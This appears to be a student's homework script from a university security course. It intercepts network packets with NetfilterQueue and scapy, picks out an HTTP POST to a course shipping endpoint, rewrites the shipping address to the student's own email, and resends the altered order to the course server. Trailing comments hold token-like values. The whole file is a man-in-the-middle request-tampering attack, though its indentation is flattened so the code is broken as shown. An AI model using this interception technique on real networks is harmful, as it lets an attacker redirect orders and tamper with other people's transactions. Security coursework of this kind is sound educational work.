infosec/interceptor.py
21a55eacaebemaster

interceptor.py
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			from netfilterqueue import NetfilterQueue
			from scapy.all import *
			import json
			import requests

			done=False

			def callback(pkt):
			global done
			if not done:
			print(pkt)
			ip = IP(pkt.get_payload())
			if ip.haslayer(Raw):
			http=ip[Raw].load.decode()
			http=http.splitlines()
			if http[0]=="POST /hw1/ex3/shipping HTTP/1.1":
			print(http)
			print(json.loads(http[-1]))
			payload=json.loads(http[-1])
			#header={}
			#header['Content_Type'] = 'application/json'
			#header['User-Agent'] = 'Dumb Generator'
			address='dennis.gankin@epfl.ch'
			key=payload['product']
			payload['shipping_address']=address
			print(payload)
			r=requests.post('http://com402.epfl.ch/hw1/ex3/shipping',json=payload)
			print(r.text)
			done=True


			pkt.accept()


			nfq = NetfilterQueue()

			nfq.bind(0, callback, 100)

			try:
			nfq.run()
			except KeyboardInterrupt:
			print('')

			nfq.unbind()

			#WX+Umvw7dmzM7VS+06Tol3OAoBG2gKJDxELOlk/Xd2M=
			#'shipping_address': 'lausanne', 'product': '9HF5yyMjbmmbcf1S0VA/qTel467giWASeIxeeYMS80c='